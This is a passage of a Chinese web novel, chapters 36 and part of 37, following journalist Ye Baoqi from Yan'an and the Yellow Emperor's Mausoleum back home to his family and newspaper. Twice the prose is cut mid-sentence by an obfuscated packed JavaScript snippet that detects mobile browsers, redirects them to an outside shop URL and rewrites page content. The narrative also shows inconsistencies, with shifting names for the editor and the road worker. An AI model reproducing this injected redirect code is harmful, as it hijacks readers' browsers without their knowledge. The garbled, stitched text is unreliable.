去访安塞的老刘，车在黄土褶子里打转。那些沟壑纵横，像老人脸上的皱纹，又像干涸的河床，等着哪场暴雨来唤醒记忆。叶葆启想起父亲的手——也是这般干裂，掌纹里嵌着洗不掉的机油和铁锈。父亲修了一辈子铁路，临了握着他的手说：“笔杆子要替哑巴说话。”那时他不明白，现在看着车窗外一坡一坡的绿，忽然有些懂了。 老刘家在沟掌上。三孔新窑，白灰墙晃眼。院子里的苹果树刚坐果，青疙瘩藏在叶子里，羞答答的。老刘盘腿坐在炕上，烟锅子敲得炕沿咚咚响，像在敲一面看不见的鼓。 “早些年啊，”他吐出一口烟，“这山秃得，夜里狼嚎声能扎透被窝。下一场雨，黄泥汤子能把门槛埋了。老话说得好：种一坡，收一车，打一斗，煮一锅。” 老刘说话时手臂挥舞，叶葆启看见他右手缺了根小指。 “修地时让石头啃的，”老刘举起手，像展示一枚勋章，“不碍事。那指头埋在东边坡上了，现如今，那儿长出一片沙棘，秋后红艳艳的，好看得很。” 这话让叶葆启心里一揪。他挪了挪录音笔：“退耕还林后，最显眼的变化是啥？” “鸟多了，”老刘眼角的皱纹堆起来，“各种各样，名儿都叫不全。天不亮就吵吵，比公鸡还准时辰。”又补一句，“沟底也有了水，清凌凌的。我孙子能在里头摸泥鳅——我小时候，那沟旱得张嘴等雨哩。” 老刘媳妇端来蒸枣，枣肉软糯，甜得黏喉咙。叶葆启嚼着，忽然想起陈列馆里那些粗瓷碗——盛过野菜，盛过小米，盛过比粮食更金贵的念想。 老刘忽然起身：“我给同志唱一段。” 他没有伴奏，张口就唱。那声音是从胸腔里炸出来的，带着黄土的腥气，震得窑顶扑簌簌落土。老刘跺着脚，身子摇晃，窗外的山峦也跟着微微发颤。唱到最高处，他眼里有了水光——不是泪，是更深的东西，像地底下渗出来的盐碱水，咸的，涩的，又有点回甘。 那天夜里，叶葆启做了个清晰的梦。 他在无尽的窑洞长廊里走，每个窑洞都亮着灯。有的窑里，油印滚子吱呀呀地转；有的窑里，几个年轻人在争吵，影子投在弧壁上，大得吓人；有的窑里，女人纳鞋底，针穿过千层布，噗，噗，像心跳。 最深的那个窑洞，有个人伏案写字。 他想看清那人的脸，光却突然漫开，淹了一切。醒来时，枕上一片湿凉。窗外月光还满着，满得要溢出来。 他坐到桌前翻开本子。老刘的歌声还在耳蜗里回旋，窑洞的灯影在脑子里晃。他要写的不是报道，是引魂——把散在光阴褶子里的魂，引到日头底下晒一晒。 “在延安，”他写，“我撞见了时间的影子。它们不吓人，只静静立在你身后，看你怎么对待这片被汗水腌透的土地。” “老刘丢掉的手指，长成了沙棘林。这不是比方，是真事儿——骨血化成了草木，一个人的命融进了大地的轮回。那些文章里的念想呢？是不是也这样变了模样？从纸上的字，变成了坡上的树，变成了苹果，变成了老刘嗓子里那汪又咸又涩的水？” 他写得很慢，一个字一个字地刻，像在拓碑。 凌晨三点，他披衣出门。小院里空荡荡，月光把地皮漂成银灰色。他点了一支烟——这习惯是西行路上染的，在青海的寒夜里，烟头那点红，能暂时烫破无边的黑。 烟丝在月光里扭成奇怪的形状，先是直直往上，忽然打个旋儿，像个拿不定主意的魂。 父亲的脸在烟雾里浮现。不是病床上那张瘦脸，是更早的，戴着安全帽在工地上吆喝的脸。父亲很少提从前，只一次喝了酒，说：“五八年修路，遇上泥石流。三个工友埋里头了，扒出来时，身子还是温的。”父亲说这话时，手抖得厉害，“后来每下雨，就听见他们在山里头喊号子。” “后悔干这行不？”年轻的叶葆启问过。 “后悔？”父亲瞪大眼，“路通了，火车过去，整个山谷都在颤。那是活的颤，不一样的。” 此刻在陕北的月光下，叶葆启忽然懂了那“活的颤”。老刘的歌声、钢笔上的齿痕、窑洞壁上晃动的影、苹果树上青涩的果——都是同一种震颤，隔着年月传过来。 他掐灭烟头，火星在夜色里划了道弧，灭了。 回屋前，他又抬头看月亮。陕北的月亮真低，低得像挂在屋檐下的南瓜，熟透了，一碰就要淌下蜜来。都说月亮有轻有重，这里的月亮一定最沉——它驮着太多目光：夜里赶路人的目光，母亲等儿归的目光，还有此刻，一个握笔人试图辨认岁月的目光。 去黄帝陵的路上，他一直沉默。车过洛川，窗外苹果花开得正盛，白花花一片，像刚下过的薄雪。老陈在副驾上睡着了，鼾声轻轻起伏。 叶葆启想起昨夜写的句子：“念想不是颜色，是温度。在玻璃柜里，它是凉的；在老刘嗓子里，它是烫的；在苹果花瓣上，它是温的——刚好能让种子醒过来的温。” 他掏出手机，给妻子发了条信息：“明儿回。带了延安的枣，甜。” 妻子很快回：“儿子画了幅画，等你猜是啥。” 他笑了，眼眶却发酸。这两个月，他走了西边的山山水水，也走了一条时间的暗道。在内蒙古草原，他学会了看地平线——真正的、一无遮拦的地平线，看得人心里发空。在敦煌，他在莫高窟外坐了一夜，听风钻进洞窟呜咽，像无数和尚在念经。在青海的草原上，他躺下看银河，第一次觉得星星不过是些灰尘，而人连灰尘都不是。那些打算盘的年轻人，他们可曾在这星空下，想过红烧肉的滋味？ 车颠了一下，老陈醒了：“到哪儿了？” “快到黄陵了。”司机说。 “黄帝陵啊，”老陈揉揉眼，“咱们这趟，从圣地到祖地，算是把根脉捋了一遍。” 说得在理。叶葆启想。黄帝陵是根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904187|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，延安是路——一条从古走到今、踩满脚印的路。 黄帝陵的柏树是真的古。那种古是活的，树皮像龙鳞，树冠如云盖。他在轩辕庙前鞠了三躬，不是拜神，是拜时间——让柏树活五千年、让香火不断的时间。 祭祀场上，一群娃娃在朗诵。童音脆生生的，在古柏间撞来撞去。叶葆启看着他们红扑扑的脸蛋，忽然想：这些娃娃里，说不定就有老刘的孙子。他们的太爷爷也许垦过荒，爷爷修过梯田，父亲种着苹果树，而他们穿着整齐的衣裳，念着五千年前的文章。 这就是这片土地。一层压一层，一代叠一代，像黄土高原的地层。每一层里都埋着故事，等着被雨水冲出来，或者在月光下自己浮现。 他在本子最后一页画了条螺旋线，旁边写：“岁月不是直着走的，是打着旋儿往上爬。每个年代都会回到老问题上：人咋样活得像个人？但这回和上回不一样，像是在更高的地方答同一道题。” “延安的答案是‘为百姓做事’。老刘的答案是‘把秃山变绿’。我的答案呢？一个握笔的人——” 他停住了。这问题太大，得用一辈子去答。 临走前夜，延安落了雨。雨丝在月光里亮晶晶的，像谁在天上纺线。叶葆独走到延河边，河水黑沉沉的，雨点打出的涟漪一圈套一圈。 他想起陈列馆里一张照片：人们在河里洗衣裳，笑得牙白。照片是黑白的，但他能想象河水的温度——肯定凉得扎手，带着山雪的寒气。那些人后来去了哪儿？有多少躺进了不知名的山坳？ 雨大了。他没躲，任雨点打在头上、肩上。在青海时，他也这样淋过雨。那时他忽然哭了，哭得毫无道理。老陈慌了，问咋了。他说不清，只觉得胸口有什么东西要破壳而出。 此刻在延安，那感觉又来了。不是难过，不是高兴，是一种更浑沌的涌动，像种子顶土，像河水开冻。 手机在兜里震。是儿子发来的画——三个歪歪扭扭的人，手拉手站在一朵巨大的向日葵下。画角用拼音写着：“爸爸快回来”。 叶葆启仰起脸，让雨和别的什么混在一起。他对着雨夜里的宝塔山轻声说：“我会好好写。写老刘，写苹果树，写生了锈的钢笔，写沙棘丛里那根手指。写月光咋样照透八十年的黄土。” 远处有信天游飘来，在雨声里断断续续，像历史本身——总是不全，总被风雨啃掉边角，但总有人在唱。 回到住处，他一夜没睡，把稿子重写了一遍。这回，他加上了老刘缺的手指，加上了梦里窑洞的蚕食声，加上了父亲说的泥石流，加上了儿子画的向日葵。写完最后一句，天蒙蒙亮了。雨停了，东山后渗出蟹壳青。 他推开窗，深吸一口气。雨后空气清冽，吸进肺里，凉丝丝的。这两个月走过的万里山河，好像都装进了这副身板里。 老陈来敲门：“收拾吧，车来了。” 叶葆启最后看了眼这间屋。床铺乱着，烟灰缸满了，桌上散着纸和书。这临时落脚处，就要变成记忆的一部分了。就像延安，对那些匆匆过客来说，也只是长途里的一个歇脚点——可正是这样的点，连成了路。 上车前，他回头望一眼晨光里的延安城。炊烟正从四面八方升起，新的一天开始了。八十年前的早晨，炊烟也是这样升起吗？那些喝稀粥、谈天说地的人，可曾想过八十年后，会有个握笔的人站在这里，试图咂摸他们那时的滋味？ 车动了。黄土高原在窗外倒退，像翻动的书页。叶葆启闭上眼，感到一种奇异的平静。他知道，这次西行结束了，但有什么东西刚开了头——在心里，在笔尖，在往后要走的每一步路上。 月光褪尽了，但那个问题在晨光里越发清楚：一个握笔的人，该怎么讲这片土地的故事？ 答案不在书里，不在纸上，在老刘缺了手指的手掌里，在沙棘丛的红果子里，在娃娃蜡笔画出的向日葵里，在每一层黄土埋下的脚印和念想里。 车拐过山弯，延安看不见了。叶葆启翻开本子，在最后一页添上一行： “握笔人要做的，是让睡了的光阴，在醒着的人间喘气。” 窗外，陕北的群山在朝阳下舒展筋骨，每一道沟壑都蓄满了光与影，仿佛大地的掌纹在晨风里缓缓张开，托着这个古老的国度，继续它螺旋向上的路。 36. 第036章 归尘记 黄土在晨曦中苏醒，细密的雨丝像天神的银针，将天地缝合。延安的窑洞还沉在昨夜的梦里，我们的越野车已如离弦之箭，射向那片传说中埋着华夏脐带的土地。叶葆启靠在车窗上，看着倒退的塬、梁、峁，它们像巨兽的脊背，在雨雾中一起一伏地呼吸。 摄影记者擦拭着镜头，突然说：“你们听说了吗？黄帝陵的柏树会唱歌。” 小刘握着方向盘笑：“又来了，你那些神神叨叨的故事。” “真的。”摄影记者认真地说，“守陵的老人告诉我，每逢甲子年的冬至夜，那棵五千年的手植柏会发出呜咽，像在讲述我们听不懂的往事。” 叶葆启没有接话。他正盯着窗外掠过的村庄，那些土坯房在雨中褪色成记忆里的水墨画。他想起了祖父——一个在胶东半岛教私塾的老先生，临终前握着他的手说：“启儿，文字是通灵的，你要去有灵的地方写。” 此刻，他正走向那个“有灵的地方”。 抵达黄陵县时，雨停了。天空裂开一道缝，阳光如金汁般浇在轩辕庙的琉璃瓦上。这里静得能听见自己的心跳，不，是大地的心跳——一种缓慢而沉重的搏动，从脚底传来，顺着脊椎爬上颅顶。 黄帝陵前的“黄帝手植柏”果然非凡。它不像一棵树，更像一座凝固的时间之塔。树皮皲裂如甲骨文，每道裂痕里都藏着秘密。叶葆启走近时，一阵眩晕袭来。 他看见了—— 不是用眼睛，是用脊梁骨上的某个尚未命名的感官。他看见一个披兽皮、束长发的高大身影，正将一株幼苗植入黄土。那人的手掌宽厚，指节粗大，覆在幼苗上的瞬间，泥土里窜出万千金色的根须，向四面八方延伸，穿过周原的青铜，穿过汉唐的丝绸，穿过宋元的瓷器，一直长到他此刻站立的地方。 “葆启？”摄影记者拍他的肩。 幻象消失了。但柏树的低语还在，不是声音，是某种振动，让他的牙齿微微发颤。 守陵的老人蹒跚而来，缺了门牙的嘴咧开笑：“记者同志，它认得你。” “什么？”叶葆启怔住。 “这棵柏树啊，五千年了，什么人没见过？”老人抚摸着树干，动作轻柔如抚摸婴儿，“但它只对有心人说话。你刚才是不是看见什么了？” 叶葆启不知如何回答。老人却自顾自说：“六十年前，有个写书的人也来过，叫沈从文。他在树下坐了一整天，临走时说：‘这不是树，是站着的黄河。’” 祭祀仪式简单而庄重。当香烛的青烟笔直升向苍穹时，叶葆启忽然明白祖父的话了——文字要通灵，写作者须先让自己成为导体，让土地的记忆流过身体，再凝成墨迹。 他跪在陵前，额头触地。冰凉的青石传递着无数先辈的体温。他在心里默默起誓：此番西行所见的一切，定不让其沦为纸上的死物。他要让戈壁的风在字里行间呼啸，让雪山的月光在段落间流淌，让牧民的歌声在标点间回荡。 起身时，一片柏叶飘落，正落在他掌心。叶脉纵横，恰如他刚刚走过的山川脉络。 归途被拉得很长，长得像一生。 越野车满载着西部的魂魄——大漠的风沙藏在座椅缝隙里，草原的草籽沾在轮胎花纹间，雪山的寒意渗进了空调系统。车每颠簸一次，就有些故事从行李袋的拉链缝隙溜出来，在车厢里飘荡。 小刘说：“我老觉得后座有人。” 摄影记者回头看看堆积如山的采访本和胶片：“是我们的影子太重了。” 叶葆启没有说，他确实听见了细碎的低语。有时是宁夏那位治沙老人沙哑的叮嘱：“娃娃，别忘了我们啊。”有时是青海藏族阿妈悠长的歌谣：“雪山不会老，故事不会完……”这些声音像远方的回响，在他的耳蜗里筑了巢。 距离内海还有三百公里时，天又开始下雨。不是西部那种爽利的雨，是中原地区黏腻的、缠绵的雨，像土地伸出的千万条触手，试图挽留这辆载着太多故事的车。 在一个弯道，左前轮发出了叹息。 不是爆裂的巨响，而是一声悠长的、近乎疲惫的叹息——“哧……”仿佛土地终于说出了那句憋了很久的话：别走，再留一会儿。 车辆猛地偏向左，小刘的吼声撕开车厢：“抓稳！” 世界在旋转。雨刮器疯狂摆动，像两个绝望的手臂。叶葆启看见挡风玻璃外的公路扭曲成一条湿漉漉的巨蟒，正在翻身。时间变慢了——慢到他能看清每一滴雨珠撞击玻璃时炸开的形状，慢到他能数清仪表盘上每一道颤抖的指针。 “要翻了！”摄影记者的声音从很远的地方传来。 但车没有翻。它剧烈颠簸了几下，像一匹中箭的马在咽气前最后的挣扎，然后缓缓滑向路边，停住了。寂静突如其来，只有雨敲车顶的鼓点，密集如心跳。 三人坐在车里，大口喘气。呼出的白雾在车窗上画出三个颤抖的圈。 “都没事吧？”叶葆启先开口，声音陌生得像别人的。 “没事……相机也没事。”摄影记者抱紧他的宝贝。 小刘趴在方向盘上，肩膀耸动。叶葆启以为他在哭，拍拍他的背，却发现他在笑，一种劫后余生的、近乎癫狂的笑：“哈哈哈……最后一哆嗦……土地爷爷不想放我们走啊！” 下车查看，左前轮已经瘪成一张绝望的嘴，轮毂边缘有新鲜的擦痕，像大地留下的齿印。更糟的是，千斤顶在多次高原救援后，螺纹已经磨平，它蹲在那里，像一只衰老的、再也站不起来的铁龟。 雨越下越大。天地间只剩下这一种声音，单调而执着，仿佛要把整个世界淹成泽国。 叶葆启决定徒步求援时，摄影记者想跟去，被他拦住了：“你留着，护好那些胶片。那些眼睛——那些我们见过的成千上万双眼睛——都在里面呢。” 他穿上雨衣，走进雨中。雨衣很快成了摆设，水从领口灌进去，顺着脊梁流下，冰冷如蛇。公路在雨雾中延伸，没有尽头，像一条通往幽冥的黄泉路。 走了多久？时间失去了意义。可能是二十分钟，也可能是二十年。鞋里灌满了泥水，每走一步都发出“咕唧”的哀鸣。他想起了青海的沼泽，想起了那个差点陷进去的黄昏，想起了伸手拉他的牧民那双布满老茧却异常温暖的手。 就在他几乎要放弃时，前方出现了光。 不是幻觉——是真实的、昏黄的、在雨中晕开的光，从几扇窗户里透出来。那是一座公路养护道班，低矮的砖房蹲在路边，像大地长出的瘤子，却在此刻成了诺亚的方舟。 敲门。开门的是个五十多岁的汉子，脸像被风雨雕刻过的崖壁，沟壑纵横。听明来意，他二话不说，回头吼了一嗓子：“老三！开上皮卡！有记者同志遇难了！” “遇难”这个词让叶葆启心里一颤。在西部，他们确实多次“遇难”——在沙漠迷路，在雪山遇险，在草原遭遇狼群——但每一次都化险为夷。也许这次爆胎，是西部之行最后的考验，是土地要看看他们究竟带走了什么，又留下了什么。 皮卡里挤了三个人：开车的汉子、他的儿子、还有一条黄狗。狗很老了，毛色黯淡，但眼睛清亮，它盯着叶葆启看了一会儿，突然“汪”了一声，尾巴轻轻摇动。 “老黄认得你。”汉子说，“它一般不冲好人叫。” 路上，汉子自我介绍姓郝，在这条路上养了三十年路。“见过的事多了。”他说，“有一年大雪，一辆客车滑进沟里，我们刨了六个小时，救出二十三人。还有一年山洪，路基冲垮了半里地，我们三天三夜没合眼……” 皮卡的大灯切开雨幕。那束光里，雨丝变成了金线，公路变成了流淌的河。叶葆启忽然想起敦煌壁画上的“飞天”，那些衣带飘飘的神女，是不是也在这样的光里飞舞？ 回到故障点，救援利落得惊人。岳师傅带来的千斤顶是个健壮的小伙子，“嘿哟”一声就把车顶了起来。换胎时，他摸着轮毂上的擦痕说：“土地爷留情了，只蹭了点皮。要是翻下去，下面可是深沟。” 备胎换好，叶葆启掏钱包，岳师傅按住了他的手。雨已经小了，他的眼睛在昏黄的车灯下闪着光：“记者同志，你们从西边回来？” “是，走了六省区。” “那就对了。”岳师傅点起一支烟，“西边的魂重，路就难走些。这不是坏事——土地留你，是看得起你。钱不能收，收了就俗了。要是心里过不去，就把我们的故事也写进去。养路工的故事，也是中国的故事。” 皮卡消失在雨幕中。叶葆启站在原地，手里攥着没能送出去的三百元钱。那钱渐渐变重，重得像一块碑。 重新上路后，车厢里多了些什么。 是岳师傅的那支烟的余味？还是老黄狗眼神里的信任？叶葆启说不清，但他感觉到，车变得轻了——不是重量减轻，而是一种灵魂上的轻盈，仿佛土地终于完成了交接仪式，将那些托付给他们的故事正式过户到了他们的血脉里。 抵达内海市界时，凌晨三点。城市在沉睡，路灯像守夜人困倦的眼睛。小刘开得很慢，慢到能看清早市摊主开始摆摊的动作，慢到能听见清洁工扫帚划过地面的沙沙声。 “像做梦一样。”摄影记者喃喃道，“出去了五十五天，感觉像出去了半辈子。” 报社大院出现在视野里。门卫老赵居然没睡，站在岗亭外抽烟，看见车灯，他把烟一扔，朝里面挥手。 然后叶葆启看见了他们—— 总编辑、办公室的同事，二十几个人，站在凌晨的寒露里，像一组等待主角归来的雕塑。女同事还抱着保温桶，白气从缝隙里袅袅升起。 车停稳。世界静止了三秒。 然后总编辑第一个冲过来——真的是冲，这个五十多岁、一向稳重的总编辑，跑得像个小伙子。他握住叶葆启的手，那双手在颤抖：“葆启！葆启！回来了！都回来了！” 陈秉烛什么也没说，只是用力拍每个人的肩膀，一下，两下，三下，像在确认这是真实的□□，不是幻影。他的眼镜起了雾，但他没摘。 同事们围上来，七手八脚地卸行李。那些沾着西部泥土的背包、捆扎得严严实实的采访本、贴满标签的磁带、还有摄影记者死活要自己抱的相机包——它们从越野车里被传递出来，像新生儿被传递出产房。 “小心！这里面是昆仑山的石头！” “这包胶片不能倒置！” “我的笔记本！我的宝贝笔记本！” 混乱中，叶葆启突然想起西部的一个画面：在喀什的大巴扎，他看到一群商人正从骆驼背上卸货。那些裹着羊毛毯的货物被小心翼翼地传递，仿佛每一件都装着某个远方家庭的生计。此刻的场景何其相似——他们卸下的不是行李，是一整个西部的缩影。 总编辑大声宣布：“放假一周！带薪的！不，十天！回家好好休息，陪陪老婆孩子！” 人群响起欢呼。但叶葆启注意到，总编辑的眼睛红了。这个以严厉著称的老报人，此刻像个接儿子回家的父亲。 同事散去后，叶葆启一个人站在大院中央。 他回望那辆越野车。在晨曦的微光里，它伤痕累累，却威风凛凛。保险杠上有戈壁石头的刮痕，车顶行李架被雪山的风吹得有些歪，车窗上还沾着草原的草籽——这些不是破损，是勋章。 他走近，抚摸车门。金属冰凉，但某一瞬间，他感觉它在微微颤动，像一匹老马在梦中奔跑。他想起在可可西里，这辆车曾与藏羚羊群并行；想起在河西走廊，它顶着十级风沙前行；想起在川西高原，它爬过四十五度的陡坡…… “老伙计，你也累了。”他轻声说。 车没有回答。但引擎盖上的一滴露珠滚落，像一滴沉默的泪。 转身时，他看见了大院门口的身影。 素琴穿着那件他熟悉的浅蓝色衬衫——三年前他获奖时她穿的那件。她站着，双手紧握放在身前，这个姿势她保持了多久？十分钟？一小时？从接到报社电话说“他们快到了”开始？ 儿子叶舟已经长得这么高了？才两个月，少年就像雨后的春笋，一节一节往上蹿。他挥舞着手臂，嘴巴张合，但叶葆启听不见声音——世界突然失了声，只剩下心跳，他自己的，和从远方带回的千万颗心跳的余音。 然后声音回来了，像闸门突然打开。 “爸！爸！你可回来了！” 叶舟冲过来，差点把他撞倒。少年的手臂有力得像小牛犊，箍得他肋骨生疼。但他疼得高兴，疼得真实——这是人间的疼，不是西部那些生死边缘的、冰冷的疼。 素琴走过来，一步，两步，三步。她的眼泪已经流干了，只剩下微微浮肿的眼皮和嘴角努力挤出的笑。她伸手，不是拥抱，而是轻轻拂去他肩头的一片枯叶——一片来自黄帝陵的柏树叶，居然一路跟他回到了内海。 “回家了。”她说。只有三个字，却像一句咒语，解开了他身上所有的束缚。 回家的车上，叶舟叽叽喳喳：“爸，你去了罗布泊吗？真有楼兰美女吗？你遇到狼了吗？吃糌粑了吗？拉肚子了吗？” 问题像连珠炮。叶葆启耐心回答，但说着说着，他会突然停顿——因为某个问题勾起了某个画面：那个在沙漠边缘种树的老人，他的脸像龟裂的土地；那个在毡房里给他倒奶茶的哈萨克妇女，她的手粗糙但温暖；那个在玉门关遗址吹埙的年轻人，他的眼睛望着远方，像望着两千年前的烽火…… 素琴一直沉默，只是握着他的手。她的手在微微颤抖，通过皮肤，那颤抖传遍他全身。他忽然明白，这五十五天，她也在进行一场远征——在思念的戈壁里跋涉，在担忧的雪山上攀登，在等待的草原上守望。 到家了。熟悉的楼道，熟悉的水磨石台阶，熟悉的门上贴着的褪色春联。钥匙插进锁孔的声音，如此平常，又如此神圣。 门开。家的气味扑面而来——不是西部那种旷野的气味，是拥挤的、温暖的、人间烟火的气味：昨天剩菜的油味，阳台上洗衣粉的清香，书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904188|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜里纸张的霉味，还有儿子篮球鞋的淡淡臭味。 叶葆启站在门口，突然不敢进去。 “怎么了？”素琴问。 “我身上……有太多的风。”他说了句自己也不完全懂的话。 但素琴懂了。她轻轻推他：“让风进来吧。这个家，也需要吹吹风。” 洗澡时，热水冲刷身体，脚下的水变成了浑黄色——那是黄河的水，是黄土高原的土，是戈壁的沙。它们从他身上剥离，流进下水道，但他知道，有些东西是冲不走的：沙漠晒进皮肤的黝黑，高原刻进眼角的细纹，还有那些故事——它们已经钻进了骨髓，会在往后的岁月里，慢慢生长出来。 躺在床上，他以为自己会立刻睡着。但眼睛一闭，西部的星空就铺满了脑海。那些在内海永远看不到的、密密麻麻的、低垂到头顶的星星，又开始闪烁。他听见了马蹄声，听见了驼铃，听见了藏传佛教寺庙的钟声，听见了维吾尔族老人弹唱的木卡姆…… “睡不着？”素琴轻声问。 “嗯。太吵了。” “家里很安静啊。” “是我脑子里吵。” 素琴转过身，在黑暗中抚摸他的脸。她的手指划过他的额头、鼻梁、嘴唇，像盲人阅读盲文。“你变了。”她说，“不只是黑了瘦了。是这里，”手指停在太阳穴，“和这里，”手掌按在他心口，“都装了新的东西。” 他握住她的手：“装得太满，要溢出来了。” “那就写出来。”素琴说，“你不是带了整个西部回来吗？一点点还给他们，也还给我。” 一周后，“行走在苍茫西部”刊发。 那天清晨，叶葆起得很早。他走到幸福胡同口的报亭，看见老板正卸下捆扎的报纸。特刊的封面是他选的照片：祁连山下的油菜花海，一个藏族女孩回头微笑，她的眼睛里有整个高原的天空。 老板看见他，咧嘴笑：“叶记者！你这期要火！预订电话昨晚就打爆了！” 果然，不到两小时，第一批报纸售罄。加印，再售罄。报社的热线电话响个不停，有读者问：“青海那个治沙老人的地址能告诉我吗？我想寄点钱。”有学校问：“能请记者来我们学校讲座吗？”有作家打电话来：“你们写塔里木河的那篇，让我想起了沈从文的《长河》……” 总编辑在办公室里踱步，像喝醉了酒：“成了！葆启，你们成了！总社社长亲自打电话表扬，说这是‘新时代的西行漫记’！” 但叶葆启最在意的不是这些。他在意的是那个下午，他在菜市场看见的一幕：一个卖菜的大妈，一边择豆角一边看报纸，看着看着，眼泪掉了下来。她指着报纸上的照片——那张宁夏西海固母子三人共用一本课本的照片——对旁边人说：“我小时候也这样……我弟妹三人，就一本算术书……” 那一刻，叶葆启知道，他们真的把西部带回来了。不是作为猎奇的风景，不是作为遥远的故事，而是作为一块活的、会疼的、会呼吸的中国血肉，接驳进了这座沿海城市的身体里。 报道结集成书的那天，出版社搞了个小仪式。叶葆启在扉页上写了一句话：“谨以此书，献给所有在辽阔中坚守、在荒凉中绽放的生命。” 摄影记者在旁边看着，突然说：“葆启，你还记得黄帝陵那棵柏树吗？” “记得。” “我后来做了一个梦。”摄影记者声音很低，“梦见那棵树对我说：‘你们带走的，不是故事，是我的根须。现在，它们要在东边发芽了。’” 总结表彰大会在大礼堂举行。镁光灯闪烁，掌声如潮。采访组被授予集体一等功，每人胸前都挂上了沉甸甸的奖章。 轮到叶葆启发言。他走上台，看着台下黑压压的人群。突然，一阵眩晕袭来——不是低血糖，是时空错位的晕眩。 他看见了—— 不是幻觉，至少不全是。他看见台下坐着的不只是内海的同事领导，还有那些他采访过的人：青海的老牧人扎西，脸上高原红像两团永不熄灭的火；宁夏的治沙老人马大爷，手里还攥着一把黄沙；喀什的乐器匠人阿卜杜拉，手指无意识地做着弹拨动作；川西的乡村教师，眼镜后的眼睛依旧清澈…… 他们坐在那里，安静地、微笑着看着他。 叶葆启深吸一口气，对着真实和虚幻的听众说： “这次西行，我们走了三万二千里。但最远的距离不是里程表上的数字，是从‘观看’到‘懂得’的距离。” 他讲了一个故事。在塔克拉玛干边缘，他们遇到一个维吾尔族老人，老人请他们吃西瓜。沙漠里的西瓜，甜得像蜜。临走时，老人说：“记者巴郎子，你们吃了我的瓜，就要带走我的故事。故事比瓜种，更能抵抗干旱。” “我们带回了无数这样的故事。”叶葆启继续说，“但我们渐渐明白，我们不是在‘采集’故事，而是在为这片辽阔的土地搭建一座桥——一座让东部听见西部呼吸、让城市触摸乡村脉搏、让当下连接古老记忆的桥。” 掌声中，他望向窗外。内海的天空湛蓝，但此刻，他看见那蓝与青海湖的蓝、与赛里木湖的蓝、与纳木错的蓝交融在一起，汇成一片无边无际的、属于整个中国的蓝。 散会后，叶葆启一个人走到报社顶楼的天台。 已是黄昏。西边的天空正在燃烧——那是他熟悉的、西部的黄昏，浓烈得像打翻的调色盘。但东边的海平面平静如镜，倒映着初升的星辰。 他点了一支烟——这个在西部学会的习惯。烟雾缭绕中，他看见两个自己：一个站在天台上，一个还站在戈壁的风里；一个穿着整洁的衬衫，一个裹着满是尘土的军大衣；一个听着城市的车马喧，一个听着远方的驼铃悠扬。 但这两个都是真实的他。西行的意义不是取代，是拓展——将生命的边界向西延伸，直到触及那片土地最坚韧的神经末梢。 手机响了，是儿子：“爸，妈做了你最爱吃的红烧鱼，快回来！” “好，马上。” 挂掉电话，他最后看了一眼西方。夜色吞没了最后一抹霞光，但那些山、那些河、那些人，已经在他的血管里亮起了灯。 万里归来，他仍是那个热爱文字的记者。但笔墨间，从此有了风沙的粗粝、雪水的清冽、草原的辽阔、沙漠的孤寂。他的笔不再是笔，是一把犁——要翻开板结的认知，种下理解的种子。 下楼时，他遇见总编辑。老总编拍拍他的肩：“下一站想去哪儿？” 叶葆启想了想，说：“还没想好。但无论去哪儿，我都会记得——最好的新闻，不是写出来的，是走出来的；最真的中国，不是看出来的，是疼出来的。” 走出报社大门，城市的霓虹初上。在这片人造的光海里，他仿佛看见了另一种光——那是牧民帐篷里的酥油灯，是石油工人头盔上的矿灯，是边关哨所永不熄灭的国旗灯。 它们都在他的笔下，等待被点亮。 而他的长征，刚刚开始。 37. 第037章 未央的灯塔 西部归来的风沙还黏在鞋缝里，尚未被南方的潮气完全濡软，一种来自北方海域的、带着盐腥与铁锈气息的悲讯，便顺着看不见的电波与暗流，汹涌地漫进了《内海都市报》的编辑部。那是一种比寒流更先抵达的颤栗。 时近岁末，天色常是铅灰的，云层低垂，仿佛吸饱了墨汁的旧棉絮，沉甸甸地压在城市上空。具体是哪一日，后来在叶葆启的记忆里有些模糊了，只记得是个雾气初凝的午后，电话铃声响得格外尖利，像一把冰锥，刺破了编辑室惯有的、带着油墨味的嘈杂。关于一艘客轮的消息，碎片似的，夹杂着“风浪”、“火”、“倾侧”几个灼人的字眼，在有限的、压低了声音的交谈中迅速传递。一种巨大的、不祥的宁静笼罩下来，连翻动稿纸的窸窣声都消失了。总编老陈从玻璃隔间里走出来，脸色是同窗外天色一般的灰败，他目光扫过众人，最后钉在叶葆启身上，那目光里有重量，也有复杂的托付。 “葆启，你，带上王皓和小周，立刻动身。”老陈的声音沙哑，每个字都像从砂纸上磨过，“去北边，靠海的那个地方。能靠近多少，就靠近多少。多看，多听……但也，多思量。” 没有更明确的指令。但叶葆启懂。他站起身，脊椎骨节似乎发出轻微的咯响，那是西部颠簸留下的旧账，也是新担子压上来的征兆。王皓，那个总爱蹙着眉头思考、笔下却能生花的年轻记者，默默开始收拾笔记本和钢笔；周占卡，壮实得像座小塔的摄影记者，已经将他那台老旧的、贴满胶布的相机紧紧抱在怀里，像是抱着一件武器，或是一个婴孩。 